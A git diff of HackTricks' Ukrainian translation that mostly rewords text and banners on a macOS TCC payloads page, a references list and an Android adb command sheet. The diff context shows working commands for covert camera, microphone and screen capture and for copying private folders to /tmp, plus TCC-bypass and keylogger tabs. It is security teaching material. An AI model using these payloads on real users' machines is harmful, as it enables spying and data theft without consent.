[**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 96dced052..0a7cc742a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,22 +1,23 @@ -# Пакети macOS TCC +# macOS TCC Payloads + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Робочий стіл +### Desktop -* **Права доступу**: Немає +* **Entitlement**: Немає * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} @@ -56,7 +57,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Скопіюйте `$HOME/Desktop` в `/tmp/desktop`. +Скопіюйте `$HOME/Desktop` до `/tmp/desktop`. ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -65,7 +66,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Документи -* **Право доступу**: Немає +* **Право**: Немає * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} @@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Скопіюйте `$HOME/`Documents в `/tmp/documents`. +Скопіюйте `$HOME/`Documents до `/tmp/documents`. ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -114,7 +115,7 @@ cp -r "$HOME/Documents" "/tmp/documents" ### Завантаження -* **Права доступу**: Немає +* **Право**: Немає * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} @@ -154,7 +155,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Скопіюйте `$HOME/Dowloads` в `/tmp/downloads`. +Скопіюйте `$HOME/Dowloads` до `/tmp/downloads`. ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` @@ -163,12 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads" ### Бібліотека фотографій -* **Повноваження**: `com.apple.security.personal-information.photos-library` +* **Право**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} {% tab title="ObjetiveC" %} -Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` в `/tmp/photos`. +Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` до `/tmp/photos`. ```objectivec #include #include @@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` в `/tmp/photos`. +Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` до `/tmp/photos`. ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -212,7 +213,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### Контакти -* **Право доступу**: `com.apple.security.personal-information.addressbook` +* **Право**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} @@ -252,7 +253,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Скопіюйте `$HOME/Library/Application Support/AddressBook` в `/tmp/contacts`. +Скопіюйте `$HOME/Library/Application Support/AddressBook` до `/tmp/contacts`. ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -261,7 +262,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ### Календар -* **Повноваження**: `com.apple.security.personal-information.calendars` +* **Право**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` {% tabs %} @@ -301,7 +302,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Скопіюйте `$HOME/Library/Calendars` в `/tmp/calendars`. +Скопіюйте `$HOME/Library/Calendars` до `/tmp/calendars`. ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` @@ -310,12 +311,12 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars" ### Камера -* **Право доступу**: `com.apple.security.device.camera` +* **Право**: `com.apple.security.device.camera` * **TCC**: `kTCCServiceCamera` {% tabs %} {% tab title="ObjetiveC - Запис" %} -Записати відео тривалістю 3 секунди та зберегти його у **`/tmp/recording.mov`** +Записати 3-секундне відео та зберегти його в **`/tmp/recording.mov`** ```objectivec #import #import @@ -394,8 +395,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="ObjectiveC - Перевірка" %} -Перевірте, чи програма має доступ до камери. -{% endtab %} +Перевірте, чи має програма доступ до камери. ```objectivec #import #import @@ -428,7 +428,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Зробіть фото з камери +Зробіть фото за допомогою камери ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -437,12 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ### Мікрофон -* **Повноваження**: **com.apple.security.device.audio-input** +* **Право**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} {% tab title="ObjetiveC - Запис" %} -Записати 5 секунд аудіо та зберегти його у `/tmp/recording.m4a` +Записати 5 секунд аудіо та зберегти його в `/tmp/recording.m4a` ```objectivec #import #import @@ -541,9 +541,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - Перевірка" %} -Перевірте, чи додаток має доступ до мікрофону. -{% endtab %} +{% tab title="ObjectiveC - Check" %} +Перевірте, чи має додаток доступ до мікрофона. ```objectivec #import #import @@ -574,7 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -Запишіть аудіо тривалістю 5 секунд та збережіть його у `/tmp/recording.wav` +Запишіть 5-секундний аудіофайл і збережіть його в `/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -587,13 +586,14 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### Місцезнаходження {% hint style="success" %} -Для того, щоб додаток отримав доступ до місцезнаходження, **Служби місцезнаходження** (з розділу Конфіденційність та безпека) **повинні бути увімкнені,** інакше він не зможе отримати до нього доступ. +Щоб додаток міг отримати місцезнаходження, **Служби місцезнаходження** (з Конфіденційності та безпеки) **повинні бути увімкнені,** інакше він не зможе отримати доступ до нього. {% endhint %} -* **Повноваження**: `com.apple.security.personal-information.location` +* **Право**: `com.apple.security.personal-information.location` * **TCC**: Надано в `/var/db/locationd/clients.plist` -### ObjectiveC +{% tabs %} +{% tab title="ObjectiveC" %} Запишіть місцезнаходження в `/tmp/logs.txt` ```objectivec #include @@ -653,12 +653,12 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt ### Запис екрану -* **Право доступу**: Немає +* **Право**: Немає * **TCC**: `kTCCServiceScreenCapture` {% tabs %} {% tab title="ObjectiveC" %} -Запишіть основний екран протягом 5 секунд у `/tmp/screen.mov` +Записати основний екран протягом 5 секунд у `/tmp/screen.mov` ```objectivec #import #import @@ -715,7 +715,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Запишіть основний екран протягом 5 секунд +Записати головний екран на 5 секунд ```bash screencapture -V 5 /tmp/screen.mov ``` @@ -724,10 +724,13 @@ screencapture -V 5 /tmp/screen.mov ### Доступність -* **Посвідчення**: Немає +* **Право**: Немає * **TCC**: `kTCCServiceAccessibility` -Використовуйте привілеї TCC, щоб прийняти управління Finder, натискаючи клавішу Enter, тим самим обійти TCC. +Використовуйте привілей TCC, щоб прийняти контроль над Finder, натискаючи Enter, і таким чином обійти TCC + +{% tabs %} +{% tab title="Прийняти TCC" %} ```objectivec #import #import @@ -780,7 +783,7 @@ return 0; ``` {% endtab %} -{% tab title="Кейлогер" %} +{% tab title="Keylogger" %} Зберігайте натиснуті клавіші в **`/tmp/keystrokes.txt`** ```objectivec #import @@ -889,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**Доступність - це дуже потужний дозвіл**, ви можете зловживати ним іншими способами, наприклад, ви можете виконати **атаку клавішами** просто з нього, не потрібно викликати Системні події. +**Доступність є дуже потужним дозволом**, ви можете зловживати ним іншими способами, наприклад, ви можете виконати **атаку на натискання клавіш** лише з його допомогою, без необхідності викликати System Events. {% endhint %} +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index 156116c64..cf4718a4e 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index fd72dd808..e77fb73a6 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,19 +1,20 @@ +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Adb зазвичай розташовується в:** +**Adb зазвичай знаходиться в:** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -23,29 +24,29 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe ``` **Інформація отримана з:** [**http://adbshell.com/**](http://adbshell.com) -# Підключення +# З'єднання ``` adb devices ``` -Це виведе список підключених пристроїв; якщо з'явиться "_**unathorised**_", це означає, що вам потрібно **розблокувати** свій **мобільний** пристрій та **підтвердити** підключення. +Це відобразить підключені пристрої; якщо з'являється "_**неавторизовано**_", це означає, що вам потрібно **розблокувати** ваш **мобільний** телефон і **прийняти** з'єднання. -Це вказує пристрою, що він повинен запустити adb-сервер на порту 5555: +Це вказує пристрою, що йому потрібно запустити сервер adb на порту 5555: ``` adb tcpip 5555 ``` -Підключіться до цієї IP-адреси та цього порту: +Підключіться до цього IP та цього порту: ``` adb connect : ``` -Якщо ви отримуєте помилку, подібну до наступної у віртуальному програмному забезпеченні для Android (наприклад, Genymotion): +Якщо ви отримали помилку, подібну до наступної, у віртуальному програмному забезпеченні Android (наприклад, Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` -Це тому, що ви намагаєтеся підключитися до сервера ADB з іншою версією. Просто спробуйте знайти виконуючий файл adb, який використовує програмне забезпечення (перейдіть до `C:\Program Files\Genymobile\Genymotion` та знайдіть adb.exe) +Це тому, що ви намагаєтеся підключитися до сервера ADB з іншою версією. Просто спробуйте знайти бінарний файл adb, який використовує програмне забезпечення (перейдіть до `C:\Program Files\Genymobile\Genymotion` і знайдіть adb.exe) ## Кілька пристроїв -Кожного разу, коли ви знаходите **декілька пристроїв, підключених до вашого комп'ютера**, вам потрібно **вказати, на якому** з них ви хочете виконати команду adb. +Коли ви знайдете **кілька пристроїв, підключених до вашого комп'ютера**, вам потрібно буде **вказати, на якому з них** ви хочете виконати команду adb. ```bash adb devices List of devices attached @@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` -## Тунелювання портів +## Port Tunneling -У випадку, якщо **порт adb** доступний лише з **localhost** на пристрої Android, але **ви маєте доступ через SSH**, ви можете **перенаправити порт 5555** та підключитися через adb: +У випадку, якщо **adb** **порт** доступний лише з **localhost** на андроїд-пристрої, але **у вас є доступ через SSH**, ви можете **перенаправити порт 5555** і підключитися через adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 @@ -69,7 +70,7 @@ adb connect 127.0.0.1:5555 ## Встановлення/Видалення -### adb install \[опція] \<шлях> +### adb install \[option] \ ```bash adb install test.apk @@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` -### adb видалити \[опції] \<ПАКЕТ> +### adb uninstall \[options] \ ```bash adb uninstall com.test.app @@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p ``` ## Пакети -Виводить усі пакети, за потреби лише ті, чий ім'я пакета містить текст у \. +Виводить всі пакети, за бажанням лише ті, чиє ім'я пакета містить текст у \. -### adb shell pm list packages \[опції] \ +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -115,43 +116,43 @@ adb shell pm list packages -u #Also include uninstalled packages. adb shell pm list packages --user #The user space to query. ``` -### adb shell pm path \<ПАКЕТ> +### adb shell pm path \ -Вивести шлях до APK вказаного . +Виводить шлях до APK вказаного . ```bash adb shell pm path com.android.phone ``` -### adb shell pm clear \<ПАКЕТ> +### adb shell pm clear \ Видалити всі дані, пов'язані з пакетом. ```bash adb shell pm clear com.test.abc ``` -# Менеджер файлів +# File Manager -### adb pull \<віддалений> \[локальний] +### adb pull \ \[local] -Завантажити вказаний файл з емулятора/пристрою на ваш комп'ютер. +Завантажте вказаний файл з емулятора/пристрою на ваш комп'ютер. ```bash adb pull /sdcard/demo.mp4 ./ ``` -### adb push \<локальний> \<віддалений> +### adb push \ \ -Завантажити вказаний файл з вашого комп'ютера на емулятор/пристрій. +Завантажте вказаний файл з вашого комп'ютера на емулятор/пристрій. ```bash adb push test.apk /sdcard ``` -# Знімок екрана/Відеозапис екрана +# Screencapture/Screenrecord ### adb shell screencap \ -Знімок екрана пристрою. +Знімок екрана дисплея пристрою. ```bash adb shell screencap /sdcard/screen.png ``` -### adb shell screenrecord \[опції] \<ім'я_файлу> +### adb shell screenrecord \[options] \ -Запис відображення пристроїв, що працюють під управлінням Android 4.4 (API рівень 19) та вище. +Записування екрану пристроїв, що працюють на Android 4.4 (API рівень 19) та вище. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -160,9 +161,9 @@ adb shell screenrecord --time-limit